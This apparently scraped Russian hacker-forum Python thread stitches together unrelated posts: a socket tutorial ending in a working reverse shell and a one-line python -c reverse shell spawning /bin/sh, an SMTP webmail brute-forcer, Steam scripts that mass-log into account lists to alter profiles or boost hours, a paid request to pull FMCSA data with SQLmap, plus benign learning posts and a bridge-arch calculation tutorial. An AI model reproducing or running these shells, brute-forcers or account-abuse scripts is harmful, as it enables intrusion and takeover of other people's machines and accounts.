Делаем бесконечный цикл, в котором будем обрабатывать запросы от каждого нового клиента, находящегося в очереди.
Python:Copy to clipboard
while 1:
try:
client, addr = s.accept()
except KeyboardInterrupt:
s.close()
break
else:
result = client.recv(1024)
print('Message:', result.decode('utf-8'))
Страшновато? Начнем по порядку. Сначала мы создаем обработчик исключения KeyboardInterrupt (остановка работы программы с клавиатуры), чтобы сервер работал бесконечно, пока мы что-нибудь не нажмем.
Метод accept() возвращает пару значений, которую мы помещаем в две переменные: в addr будут содержаться данные о том, кто был отправителем, а client станет экземпляром класса socket. То есть мы создали новое подключение.
Теперь посмотрим вот на эти три строчки:
Python:Copy to clipboard
except KeyboardInterrupt:
s.close()
break
В них мы останавливаем прослушивание и освобождаем порт, только если сами остановим работу программы. Если прерывания не произошло, то выполняется блок else:
Python:Copy to clipboard
else:
result = client.recv(1024)
print('Message:', result.decode('utf-8'))
Здесь мы сохраняем пользовательские данные в переменную result, а функцией print() выводим на экран сообщение, которое нам отправлял клиент (предварительно превратив байты в строку Unicode). В результате сторона сервера будет выглядеть примерно так:
Python:Copy to clipboard
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
while 1:
try:
client, addr = s.accept()
except KeyboardInterrupt:
s.close()
break
else:
result = client.recv(1024)
print('Message:', result.decode('utf-8'))
Сторона клиента
Со стороной клиента опять же все обстоит проще. После подключения библиотеки и
создания экземпляра класса s мы, используя метод connect(), подключаемся к
серверу и порту, на котором принимаются сообщения:
Python:Copy to clipboard
s.connect(('127.0.0.1', 8888))
Далее мы отправляем пакет данных получателю методом send():
Python:Copy to clipboard
s.send(b'<YOUR MESSAGE>')
В конце останавливаем прослушивание и освобождаем порт:
Python:Copy to clipboard
s.close()
Код клиента будет выглядеть примерно так:
Python:Copy to clipboard
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
s.send(b'<YOUR MESSAGE>')
s.close()
Тестируем
Запустим в двух разных консолях код сервера и код клиента. На выходе мы должны
получить примерно то же самое, что и с протоколом UDP.
![Вывод на стороне сервера](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2Fb35482a96cd2d4775056c98409a84f4f%2F12139%2F2_u8DL2aH.png&hash=767f18cbfedd038512982f5ad14542d1)
Вывод на стороне сервера
Успех! Поздравляю: теперь тебе открыты большие возможности. Как видишь, ничего страшного в работе с сетью нет. И конечно, не забываем, что раз мы эксперты в ИБ, то можем добавить шифрование в наш протокол.
В качестве следующего упражнения можешь попробовать, например, написать чат на несколько персон, как на скриншоте.
![Самодельный чат, вид со стороны
сервера](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2Fb35482a96cd2d4775056c98409a84f4f%2F12140%2F3_h4JjzFi.png&hash=ca57f803e6409249227fc39014cc2672)
Самодельный чат, вид со стороны сервера
Применяем знания на практике
Я дважды участвовал в InnoCTF, и работа с сокетами в Python очень пригождается
при решении задач на взлом. По сути, все сводится к тому, чтобы очень много
раз парсить поступающие данные с сервера InnoCTF и правильно их обрабатывать.
Данные могут абсолютно любыми. Обычно это математические примеры, разные
уравнения и прочее.
Для работы с сервером я использую следующий код.
Python:Copy to clipboard
import socket
try:
s = socket.socket(socket.AF_INET, spcket.SOCK_STREAM)
s.connect(('<HOST>', <PORT>))
while True:
data = s.recv(4096)
if not data:
continue
st = data.decode("ascii")
# Здесь идет алгоритм обработки задачи, результаты работы которого должны оказаться в переменной result
s.send(str(result)+'\n'.encode('utf-8'))
finally:
s.close()
Здесь мы сохраняем байтовые данные в переменную data, а потом преобразуем их из кодировки ASCII в строчке st = data.decode("ascii"). Теперь в переменной st у нас хранится то, что нам прислал сервер. Отправлять ответ мы можем, только подав на вход строковую переменную, поэтому обязательно используем функцию str(). В конце у нее символ переноса строки — \n. Далее мы все кодируем в UTF-8 и методом send() отправляем серверу. В конце нам обязательно нужно закрыть соединение.
Делаем полноценный reverse shell
От обучающих примеров переходим к реальной задаче — разработке обратного
шелла, который позволит выполнять команды на захваченной удаленной машине.
При этом добавить нам нужно только вызов функции subprocess. Что это такое? В Python есть модуль subprocess, который позволяет запускать в операционной системе процессы, управлять ими и взаимодействовать с ними через стандартный ввод и вывод. В качестве простейшего примера используем subprocess, чтобы запустить блокнот:
Python:Copy to clipboard
import subprocess
subprocess.call('notepad.exe')
Здесь метод call() вызывает (запускает) указанную программу.
Переходим к разработке шелла. В данном случае сторона сервера будет атакующей (то есть наш компьютер), а сторона клиента — атакованной машиной. Именно поэтому шелл называется обратным.
Сторона клиента (атакованная машина)
Вначале все стандартно: подключаем модули, создаем экземпляр класса socket и
подключаемся к серверу (к тому, кто атакует):
Python:Copy to clipboard
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
Обрати внимание: когда мы указываем IP для подключения, это адрес атакующего. То есть в данном случае наш.
Далее идет основная часть кода, где мы обрабатываем команды и выполняем их.
Python:Copy to clipboard
while 1:
command = s.recv(1024).decode()
if command.lower() == 'exit':
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Вкратце пройдемся по коду. Так как нам в какой-то момент нужно будет выйти из шелла, мы проверяем, не придет ли команда exit, и, если придет, прерываем цикл. На случай, если она вдруг будет написана заглавными буквами или с заглавной, переводим все символы принятой команды в нижний регистр строковым методом lower().
А теперь самое главное. Метод getoutput() модуля subprocess вызывает исполнение команды и возвращает то, что она выдаст. Мы сохраним вывод в переменную output.
Наш буфер ограничен одним килобайтом памяти, чего может не хватить для
сохранения больших выводов. Для этого просто нужно зарезервировать больше
памяти. Например, 4096 байт, а не 1024.
Далее мы отправляем результат выполнения атакующему и, если атакующий завершил
сессию командой exit, закрываем соединение.
Весь код будет выглядеть вот так:
Python:Copy to clipboard
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while 1:
command = s.recv(1024).decode()
if command.lower() == 'exit':
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Сторона сервера (атакующего)
Здесь все начинается абсолютно так же, как и в примерах выше.
Python:Copy to clipboard
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
s.listen(5)
Единственное изменение — это IP-адрес. Указав одни нули, мы используем все IP, которые есть на нашей локальной машине. Если локальных адресов несколько, то сервер будет работать на любом из них.
Далее принимаем подключение и данные: в client будет новое подключение (сокет), а в addr будет лежать адрес отправителя:
Python:Copy to clipboard
client, addr = s.accept()
Теперь основная часть:
Python:Copy to clipboard
while 1:
command = str(input('Enter command:'))
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(1024).decode()
print(result_output)
client.close()
s.close()
Думаю, тебе уже знаком этот код. Здесь все просто: в переменную command мы сохраняем введенную с клавиатуры команду, которую потом отправляем на атакуемую машину. И заодно организуем себе возможность цивилизованно выйти, набрав команду exit. Далее сохраняем то, что нам прислала атакованная машина, в переменную result_output и выводим ее содержимое на экран. После выхода из цикла закрываем соединение с клиентом и с самим сервером.
Весь код будет таким:
Python:Copy to clipboard
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
s.listen(5)
client, addr = s.accept()
while 1:
command = str(input('Enter command:'))
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(1024).decode()
print(result_output)
client.close()
s.close()
Осталось проверить! Запускаем в одной консоли сервер (сторона атакующего), а в другой — клиент (атакуемый) и видим вывод в консоли сервера.
![Вывод на стороне атакующего](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2Fb35482a96cd2d4775056c98409a84f4f%2F12141%2F6_6DLVGiu.png&hash=faa7e307f571656ed7e94cf43a56f2c7)
Вывод на стороне атакующего
Попробуем открыть блокнот, написав notepad.exe.
![Ура, блокнот!](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2Fb35482a96cd2d4775056c98409a84f4f%2F12142%2F7_TYgrGqT.png&hash=730e6df79bb8dfa38d7617d7bb721d30)
Ура, блокнот!
Поздравляю, твой первый шелл готов!
Шелл одной строчкой
Чтобы закинуть код на удаленную машину, удобно иметь его в виде одной строчки.
Благо в Python есть все необходимое, чтобы уместить код клиента в одну
недлинную строку. Вот как она выглядит.
Python:Copy to clipboard
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ключ -c позволяет передать программу в качестве параметра.
Думаю, ты сразу подметил знакомые элементы кода. Но для удобства я распишу построчно:
Python:Copy to clipboard
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.1',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i']) # Для Windows — .call('cmd.exe')
Как видишь, появилось кое-что новенькое: os, dup2(), fileno(). Чтобы понять, как это работает, нужно знать, что такое файловые дескрипторы.
Если совсем по-простому, то это некие целые неотрицательные числа, которые возвращаются процессу после того, как он создаст поток ввода-вывода и поток диагностики. В UNIX устоявшиеся названия потоков — это 0, 1 и 2. 0 соответствует стандартному вводу процесса (терминал), 1 — стандартный вывод (терминал), 2 — поток диагностики (файл с сообщениями об ошибках).
Модуль os — это еще один стандартный элемент Python. Он позволяет программе общаться с операционной системой. Входящий в него метод dup2() предназначен для того, чтобы менять значения файловых дескрипторов. fileno() — это метод объекта типа socket, который возвращает файловый дескриптор сокета. А при помощи метода dup2() мы меняем дескрипторы ввода-вывода и ошибок на соответствующие дескрипторы сокета.
Python:Copy to clipboard
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
То есть, считай, мы взяли и сделали наш сокет полноценным процессом. Что это нам дает? Мы можем запустить терминал и использовать его! Для этого нужна вот эта строка:
Python:Copy to clipboard
p=subprocess.call(['/bin/sh','-i'])
Для Windows она будет слегка другой:
Python:Copy to clipboard
p=subprocess.call('cmd.exe')
Вот так вот мы «обхитрили» систему. Точнее, просто воспользовались одной из продвинутых функций.
В завершение
Теперь ты не только знаешь, как организовать передачу сообщений между
программами на Python, но и умеешь писать хитрые однострочники, которые
передают тебе управление удаленной машиной. Думаю, ты уже ощущаешь невероятную
мощь и готов к экспериментам. Желаю удачи с ними!
Автор @Ghoustchat
взято с хакер.ру
какие особы последствия влечёт за собой закрытие ветки 2.7
что будет не работать в связи с этим ? есть у кого-нибудь
видение/мнение/сведения ? )
Так как сам начал учить python, нашел на просторах habr интересную статтью, думаю будет интересна для тех кто учит python
Как не стать Python-разработчиком
Как выглядит трек обучения программированию на Python с нуля? С чего стоит начать? На чем сделать акцент? Как не потерять интерес?
Полгода я искал ответы на эти вопросы, тщательно исследуя предметную область.
Я обнаружил много полезных советов. Особенно в заметке Василия
Большакова и на
Хекслете. Но мне не хватало структуры.
Знания нарастали со всех сторон и превращались в кучу. Чтобы структурировать
процесс обучения и оценить его масштаб, я собрал план.
Составляя программу, я ориентировался на философию Тима Петерса, который
сформулировал The Zen of Python:
Code:Copy to clipboard
Простое лучше, чем сложное
Сложное лучше, чем запутанное
Практичность важнее безупречности
Ошибки никогда не должны замалчиваться
Сейчас лучше, чем никогда...
План обучения
В разработке я новичок, поэтому мой путь начинался с самых азов. На текущий момент я прошел примерно половину. Скорее всего я что-то упустил, в чем-то не разобрался как следует. Если вы хотите поделиться опытом или советом, то смело пишите в комментарии. Также важно отметить, что трек обучения рассчитан на пользователей Мак ОС. Другие платформы имеют свои особенности, о них говорить мы не будем.
Программа разбита по шагам. Последовательность условная. Внутри каждого шага есть задачи со звездочкой — желательные, но необязательные.
1. Понять зачем вам это надо
У меня две цели: быстро проводить анализ данных и создавать прототипы для проверки идей. Для этого мне достаточно знать несколько подходящих библиотек, понимать чужой код и немного писать свой. Какая цель у вас?
2. Подружиться с командной строкой
3. Настроить среду разработки и рабочее окружение
Выбор разработчиков, проходивших интервью в [Triplebyte](https://triplebyte.com/blog/technical-interview-performance-by- editor-os-language)
“I am a huge believer in learning by doing, and there are a lot of opportunities on the job where I can hone my Python skills through Deliberate Practice” Robert Chang
Click to expand...
4. Изучить синтаксис и структуры данных Python на практике
Для тех кто любит онлайн-курсы
5. Полистать библиотеки
6. Пощупать базы данных
Дополнительно
[Пайтон на одной картинке](https://fossbytes.com/wp-
content/uploads/2015/09/python-3-in-one-pic.png)
[Карта развития разработчика](https://github.com/kamranahmedse/developer-
roadmap)
Книги «на все времена»
Работаю с C и питоном. Имеется определенный алгоритм хеширования, которым в теле С программы обрабатываются некоторые строки. Питон скрипт запускается билд эвентом. С ANSI строками всё в порядке, однако с Unicode - проблема.
Пытаюсь обработать строку следующим образом в C:
C:Copy to clipboard
DWORD dwHash = MyHash(lpModuleName, strlenW(lpModuleName) * 2, 123);
И следующим образом в питоне:
Python:Copy to clipboard
Ntdll = Hash(b'Test'.decode('utf-16-le', errors='replace'), 123)
Результат отличается. Подскажите пожалуйста, как решить проблему. Перепробовал уже множество методов.
Нужен скрипт работающий как можно скорее. Может быть обновлено после этого.
Необходимая информация: название компании, контактное лицо, номер телефона,
адрес электронной почты
Вот 3 веб-сайта для получения данных
SAFER
Carrier Details
[ Licensing & Insurance Carrier Search ](https://li- public.fmcsa.dot.gov/LIVIEW/pkg_carrquery.prc_carrlist)
Portal Lookup
FMCSA Portal Account Request Form - Step 1
В моем бизнесе побеждает первый человек, который позвонит.
В настоящее время данные отображаются на веб-сайтах в полночь.
Мне нужно найти данные в режиме реального времени, чтобы очистить.
Каждый день появляется около 500 новых пользователей.
Я хочу каждые 30 секунд искать нового пользователя.
Вы не можете использовать простой веб-скребок для получения данных, его нужно найти в базе данных. SQLmap, Burp).
Кто-то опытный должен быть в состоянии завершить это в течение недели. Готов заплатить 4000 долларов за эту работу. как только вы показываете, что скрипт работает и получает НОВЫЕ ЖЕ ДЕНЬ ведет. Также готовы платить за обновления и изменения, которые могут быть добавлены в будущем.
Я использую Google Translate, поэтому я выбрал категорию, которая, по моему мнению, лучше всего подходит для этого.
jabber: orangetang69@jabbim.ru
telegram @orangetang69
Отредактируйте Crack.py с помощью блокнота ++
в строке 375 добавьте свой адрес электронной почты
Открыть командную строку
Введите crack.py urlfilename.txt 400 0
он начнет сканировать SMTP веб-почту, как только он взломает вы получите результат на электронную почту
Скачать [CLIKE]smtpbrute.rar [/CLIKE]
Аккаунты поместить в файл 'accs.txt'
Python:Copy to clipboard
import steam
import requests
import random
import time
#Nicknames
nicname = ['PupkaZalupka','KolykaTraher','Wats0n','TrupoedVegan', 'BatyaLubitPivo', 'LolzPrivet']
#Real names
realname = ['Vasya','Edya','Kolya','Danilka','Rubinshtayn','Pipka']
accs = list()
f = open('accs.txt')
for i in f:
acc = i.replace(':',';').strip('\n').strip(' ').strip('\r').split(';')
acc = acc[0] + ';' + acc[1]
accs.append(acc)
f.close()
for i in enumerate(accs):
acc = i[1].replace(':',';').strip('\n').strip(' ').strip('\r').split(';')
username = acc[0]
password = acc[1]
user = steam.webauth.WebAuth(username,password)
try:
session = user.login()
except steam.webauth.CaptchaRequired as err:
print('{}: {};{} - ошибка Captcah'.format(i[0]+1,username,password))
continue
except steam.webauth.EmailCodeRequired as err:
print('{}: {};{} - ошибка Guard'.format(i[0]+1,username,password))
continue
except steam.webauth.TwoFactorCodeRequired as err:
print('{}: {};{} - ошибка 2fa код'.format(i[0]+1,username,password))
continue
except steam.webauth.LoginIncorrect as err:
if str(err) == 'The account name or password that you have entered is incorrect.':
print(str(i[0]+1) + ': ' + username + ';' + password + ' - ' + str(err))
continue
if err == 'There have been too many login failures from your network in a short time period. Please wait and try again later.':
while True:
print(str(i[0]+1) + ': ' + username + ';' + password + ' - ' + str(err))
print('Sleep 10 min')
time.sleep(600)
try:
session = user.login()
break
except steam.webauth.LoginIncorrect:
pass
except steam.webauth.HTTPError as err:
while True:
print(str(i[0]+1) + ': ' + username + ';' + password + ' - ' + str(err))
print('Sleep 10 sec')
time.sleep(10)
try:
session = user.login()
break
except steam.webauth.HTTPError:
pass
while True:
status_code = session.post('https://steamcommunity.com/groups/tfcCompany',
data={
'action':'join',
'sessionID':user.session_id
}).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (Вступление в группу)')
time.sleep(10)
while True:
status_code = session.get('https://steamcommunity.com/profiles/{}/edit'.format(user.steam_id)).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (переход в настройки)')
time.sleep(10)
while True:
status_code = session.post('https://steamcommunity.com/profiles/{}/edit'.format(user.steam_id),
data={
'sessionID': user.session_id,
'type': 'profileSave',
'weblink_1_title': '',
'weblink_1_url': '',
'weblink_2_title': '',
'weblink_2_url': '',
'weblink_3_title': '',
'weblink_3_url': '',
'personaName': random.choice(nicname) + str(random.randint(0,99999)),
'real_name': random.choice(realname),
'country': 'CL',
'state': '06',
'city': '9714',
'customURL': '',
'summary': 'Lublu LOLZ i Wats0n',
'primary_group_steamid': '103582791466138756'}).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (устанавить ник)')
time.sleep(10)
while True:
status_code = session.post('https://steamcommunity.com/profiles/{}/ajaxsetprivacy/'.format(user.steam_id),
data={
'sessionid': user.session_id,
'Privacy': '{"PrivacyProfile":3,"PrivacyInventory":3,"PrivacyInventoryGifts":1,"PrivacyOwnedGames":3,"PrivacyPlaytime":3,"PrivacyFriendsList":3}',
'eCommentPermission': '1'
}).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (открыть профиль)')
time.sleep(10)
while True:
status_code = session.post('https://steamcommunity.com/games/970610/selectAvatar',
data={
'selectedAvatar': random.randint(0,25),
'sessionid': user.session_id
}).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (Аватар)')
time.sleep(10)
while True:
status_code = session.post('https://store.steampowered.com/checkout/addfreelicense',
data={
'action': 'add_to_cart',
'sessionid': user.session_id,
'subid': '303386'
}).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (добавить игру)')
time.sleep(10)
while True:
status_code = session.post('https://store.steampowered.com/checkout/addfreelicense',
data={
'action': 'add_to_cart',
'sessionid': user.session_id,
'subid': '252108'
}).status_code
if status_code == 200: break
print(str(status_code) + ' ошибка sleep 10 sec (добавить игру)')
time.sleep(10)
print('{}: {};{} - готов'.format(i[0]+1,username,password))
Python:Copy to clipboard
import random
print('GhostGame')
print()
flag = 'Yes'
while flag == 'Yes':
userScore = 0
userChoice = 0
doorCount = int(input('Enter the number of door: '))
ghostIndex = 0
while True:
for i in range (doorCount):
print('__[' + str(i+1)+']__', end = '')
print()
userChoice = int(input('Choose your door from 1 to ' + str(doorCount)+': '))
ghostIndex = random.randint(1, doorCount)
print()
print('Ghost is here: ')
for i in range (doorCount):
if i+1 != ghostIndex:
print('__[ ]__', end = '')
else:
print('__[ X ]__', end = '')
print()
print('You is here: ')
for i in range(doorCount):
if i + 1 != userChoice:
print('__[ ]__', end='')
else:
print('__[ O ]__', end='')
if userChoice == ghostIndex:
break
else:
userScore += 1
print()
print(userScore)
print()
print('Game over')
print('Your score:', + userScore)
flag = input('Would you like to play agaim ?' + ' Yes or No ')
i = 0
Стоит ли начинать осваивать какой-нибудь джанго для веба или просто идти по стези php кодера? Чем вообще обусловлена такая непопулярность питона в вебе? Сколько скриптов не посмотрел, все на php фреймворках, также и админки стиллеров, локеров и тд. Такая ситуация на рынке случайна или я просто не вижу какие-то минусы в джанго?
Оглавление
Введение
Глава 1 Введение в искусственный интеллект
Глава 2 Классификация и регрессия посредством обучения с учителем
Глава 3 Предсказательная аналитика на основе ансамблевого обучения
Глава 4 Распознавание образов с помощью обучения без учителя
Глава 5 Создание рекомендательных систем
Глава 6 Логическое программирование
Глава 7 Методы эвристического поиска
Глава 8 Генетические алгоритмы
Глава 9 Создание игр с помощью искусственного интеллекта
Глава 10 Обработка естественного языка
Глава 11 Вероятностный подход к обработке последовательных данных
Глава 12 Создание систем распознавания речи
Глава 13 Обнаружение и отслеживание объектов
Глава 14 Искусственные нейронные сети
Глава 15 Обучение с подкреплением
Глава 16 Глубокое обучение и сверточные нейронные сети
**Скачать:
[CLIKE]
](https://yadi.sk/i/L0JBJg2viqp8SA)
View and download from Yandex.Disk
yadi.sk
[/CLIKE]**
Я конечно не знаю, но мне кажется 99% этого форума этот скрипт вообще не нужен
Если что скрипт работает с аккаунтами только без гуарда
Что бы накручивать на игру часы надо указать её ид в 36 строке кода
[CLIKE]
Python:Copy to clipboard
import threading
from steam import SteamClient
#from steam.enums.emsg import EMsg
import time
#import steam.protobufs.steammessages_player_pb2
#import traceback
def loginsteamc(login,password):
client = SteamClient()
client.cli_login(login,password)
return client
def steamboosth (gamelist,client,):
client.games_played(gamelist)
client.get_product_info(apps=gamelist, packages=[], timeout=15)
def thread_login(login,password,gamelist,num,clients,clientslogpass):
try:
client = SteamClient()
client.cli_login(login,password)
if client == 'invalid password':
print(str(login) + ' - invalid password! Skip')
#return 'err'
elif client == 'need code':
print(str(login) + ' - need code! Skip')
#return 'err'
else:
client.games_played(gamelist)
client.get_product_info(apps=gamelist, packages=[], timeout=15)
print ('{}: {} - Loggin'.format(num+1,login))
#return client,login,password
except:
print(str(login) + 'Propuskaem acc (kakaya to ebanaya oshobka epta)')
#return 'err'
gamelist = [730, 570, 433850]
clients = list()
clientslogpass = list()
thread_list = list()
i1 = 0
f = open('acc.txt')
print ('start program...\nOpen acc.txt...')
for i in f:
q = i.replace(':',';').strip('\n').strip(' ').strip('\r').split(';')
t = threading.Thread(target=thread_login, name='Thread {}'.format(i), args=(q[0], q[1], gamelist,i1,clients,clientslogpass))
thread_list.append(t)
t.start()
#print ('{}: {} thread has started'.format(i1,q[0]))
time.sleep(.4)
if i1%100 == 0 and i1 != 0:
print('\n---------------')
print('---sleep 30s---')
print('---------------\n')
time.sleep(30)
print('\n---------------')
print('---end sleep---')
print('---------------\n')
i1 += 1
f.close()
for t in thread_list:
t.join()
print('all accounts was been login')
time.sleep(120)
start_time = time.time()
i1 = 0
f = open('acc.txt')
for i in f:
try:
q = i.replace(':',';').strip('\n').strip(' ').strip('\r').split(';')
client = loginsteamc(q[0], q[1])
if client == 'invalid password':
print(str(q[0]) + ' - invalid password! Skip')
continue
elif client == 'need code':
print(str(q[0]) + ' - need code! Skip')
continue
else:
steamboosth(gamelist,client)
clients.append(client)
clientslogpass.append([q[0], q[1]])
print (str(i1+1) + ': ' + str(q[0]) + ' - ReLoggin')
i1 += 1
except Exception:
print(str(q[0]) + 'Propuskaem acc (kakaya to ebanaya oshobka epta)')
i1 += 1
continue
f.close()
print ('{} min boosted'.format((time.time()-start_time)/60))
#while True:
# for i in clients:
# steamboosth(gamelist,i)
# time.sleep(60)
while True:
i1 = 0
for i in clients:
i.logout()
try:
client = loginsteamc(clientslogpass[i1][0], clientslogpass[i1][1])
if client == 'invalid password':
print(str(q[0]) + ' - invalid password! Skip')
continue
if client == 'need code':
print(str(q[0]) + ' - need code! Skip')
continue
except Exception:
print('Propuskaem acc (kakaya to ebanaya oshobka epta)')
i1 += 1
continue
steamboosth(gamelist,client)
clients[i1] = client
clientslogpass[i1] = ([clientslogpass[i1][0], clientslogpass[i1][1]])
print (str(i1+1) + ': ' + str(clientslogpass[i1][0]) + ' - ReLoggin')
i1 += 1
print ('{} min boosted'.format((time.time()-start_time)/60))
[/CLIKE]
Предисловие от @neopaket.
Приветствую, недавно начал углублёно изучать модули для Python, связанные с физическими и инженерными расчётами (Например SciPy, NumPy, SumPy). Представьте , вы решили построить для каких то целей арку-мост из дерева (ну или же любого другого материала). Что вам для этого потребуется?: лист бумаги (Разлинованный (Конечно если не будете писать поперёк ) ), пишущие принадлежности, линейка, циркуль, транспортир и всё, что только душе угодно. Нет! Не обязательно. Конечно есть много программ для 3D-моделирования, но это можно сделать при помощи простой среди разработки и сейчас мы узнаем как!
Джон Тапселл.
Я хотел сделать мост из деревянных кирпичей, без клея и соединителей,
удерживаемых только гравитацией.
Мост представляет собой перевернутую канатную сеть, которую вы можете увидеть
в любом парке.
Что мы можем узнать из простейшего физического уравнения:
y = a * cosh(x / a)
Где: cosh - гиперболическая функция. В России cosh трактуется в виде ch.
Как же перевести это уравнение в IPython? А, ну да, вот:
Code:Copy to clipboard
L = 300.0 #300 миллиметров ширина моста. Все размеры будут произведены в миллиметрах.
A = 100.0 #Масштабный фактор
def y(x):
return -A*( math.cosh(x/A) - math.cosh((L/2)/A))
X = linspace(-L/2, L/2)
Y = [y(x) for x in X]
fig, ax = subplots(1,1)
fig.set_size_inches(14,7)
ax.plot(X,Y,'r')
xlabel('x')
ylabel('height')
title('Bridge curve')
show()
В итоге код производит:
Выглядит круто, не правда ли?
Теперь, я хочу превратить его из зародышевого состояния в деревянный мост. На самом деле он не будет выглядеть как кривая. Представьте, что вы строите мост из ступеней в майнкрафт
Code:Copy to clipboard
[TABLE]
[TR]
[TD]class Block:
'''Деревянный блок'''
def __init__(self, start_x, end_x):
self.start_x = start_x
self.start_y = y(start_x)
self.end_x = end_x
self.end_y = y(end_x)
self.length_x = end_x - start_x
self.midpoint_x = start_x + self.length_x/2.0
self.tangent = (self.end_y - self.start_y) / self.length_x
self.midpoint_y = self.start_y + (self.end_y - self.start_y)/2.0
self.coords = [] # filled in later
def angle(self):
return math.atan(self.tangent)
step = 60.0
def plotTangent(block):
xstart = block.midpoint_x-block.length_x/2
xend = block.midpoint_x+block.length_x/2
ystart = block.midpoint_y + block.tangent * (xstart - block.midpoint_x)
yend = block.midpoint_y + block.tangent * (xend - block.midpoint_x)
ax.plot([block.start_x, block.end_x], [block.start_y, block.end_y], 'k-', lw=1)
blocks = []
for start_x in linspace(-L/2, L/2, L/step, endpoint=False):
block = Block(start_x, start_x+step)
blocks.append(block)
plotTangent(block)
fig[/TD]
[/TR]
[/TABLE]
И вывод:
Чертёж почти закончен, стоит заняться и подготовкой материалов для мостика.
Теперь нам нужно решить, как же правильно рубить дрова. Для того, чтобы
создать арку, нужно рассчитать угол каждого куска дерева (Линии
прикосновения), по отношению к горизонтали: .
Таким образом, угол между двумя смежными кусками дерева (Вспомним квадрат.
Смежные линии это две стороны, которые в точке соприкосновения с внутренней
части угла образуют угол в 90*) - это разница между их углами.
Древесина будет параллельна этим касательным линиям, из за чего мы можем нарисовать нормальные линии для этих касательных линий толщины дерева (Слишком много линий):
Code:Copy to clipboard
def dy(x):
return (y(x+0.05) - y(x-0.05)) / 0.1
def normalAngle(x):
if x == -L/2:
return 0
elif x == L/2:
return math.pi
return math.atan2(-1.0, dy(x));
WoodThickness = 50.0 #В миллиметрах
def getNormalCoords(x, ymidpoint, lineLength):
tangent = dy(x)
if tangent != 0:
if x == -L/2 or x == L/2:
normalSlope = 0
else:
normalSlope = -1 / dy(x)
xlength = lineLength * math.cos(normalAngle(x))
xstart = x-xlength/2
xend = x+xlength/2
ystart = ymidpoint + normalSlope * (xstart - x)
yend = ymidpoint + normalSlope * (xend - x)
else:
xstart = x
xend = x
ystart = ymidpoint + lineLength/2
yend = ymidpoint - lineLength/2
return (xstart, ystart, xend, yend)
for block in blocks:
(xstart, ystart, xend, yend) = getNormalCoords(block.midpoint_x, block.midpoint_y, WoodThickness)
ax.plot([xstart, xend], [ystart, yend], 'b-', lw=1)
fig
Выводик:
Красная кривая представляет силовую линию (Пока не понятно). Пакетик расскажет вам. В центрах силовых линий находятся очень опасные места. Если на них наступит тяжёлый человек, то она деформируется или мост вообще сломается.
Таким образом, чтобы минимизировать силу, которая давит на плиты, где встречается древесина, нам нужно, чтобы срезы дерева были нормальны к красной линии. Мы кое что добавим.
Code:Copy to clipboard
def getWoodCorners(block, x):
'''Возвращаем вершину и низ блока дерева, разрез которого проходит через x, y (x), а середина которого находится в xmid''
adjusted_thickness = WoodThickness / math.cos(normalAngle(x) - normalAngle(block.midpoint_x))
return getNormalCoords(x, y(x), adjusted_thickness)
def drawPolygon(coords, linewidth):
xcoords,ycoords = zip(*coords)
xcoords = xcoords + (xcoords[0],)
ycoords = ycoords + (ycoords[0],)
ax.plot(xcoords, ycoords, 'k-', lw=linewidth)
#Нарисуем все линии
for block in blocks:
(xstart0, ystart0, xend0, yend0) = getWoodCorners(block, block.start_x) # Left side of block
(xstart1, ystart1, xend1, yend1) = getWoodCorners(block, block.end_x) # Right side of block
block.coords = [ (xstart0, ystart0), (xstart1, ystart1), (xend1, yend1), (xend0, yend0) ]
drawPolygon(block.coords, 2) # Draw block
fig
И как обычно:
Здесь следует кое что отметить:
Теперь нам нужно нарисовать и пометить эти блоки так, чтобы их было легче вырезать:
Code:Copy to clipboard
fig, ax = subplots(1,1)
fig.set_size_inches(17,7)
axis('off')
def rotatePolygon(polygon,theta):
return [(x*math.cos(theta)-y*math.sin(theta) , x*math.sin(theta)+y*math.cos(theta)) for (x,y) in polygon]
def translatePolygon(polygon, xshift,yshift):
"""смещает многоугольник на заданные координаты"""
return [ (x+xshift, y+yshift) for (x,y) in polygon]
sawThickness = 3.0 #Добавить толщину 3мм между блоками
#Draw all the blocks
xshift = 10.0 #Начните с 10 мм для того, чтобы легче было резать вручную
topCutCoords = []
bottomCutCoords = []
for block in blocks:
coords = translatePolygon(block.coords, -block.midpoint_x, -block.midpoint_y)
coords = rotatePolygon(coords, -block.angle())
coords = translatePolygon(coords, xshift - coords[0][0], -coords[3][1])
xshift = coords[1][0] + sawThickness
drawPolygon(coords,1)
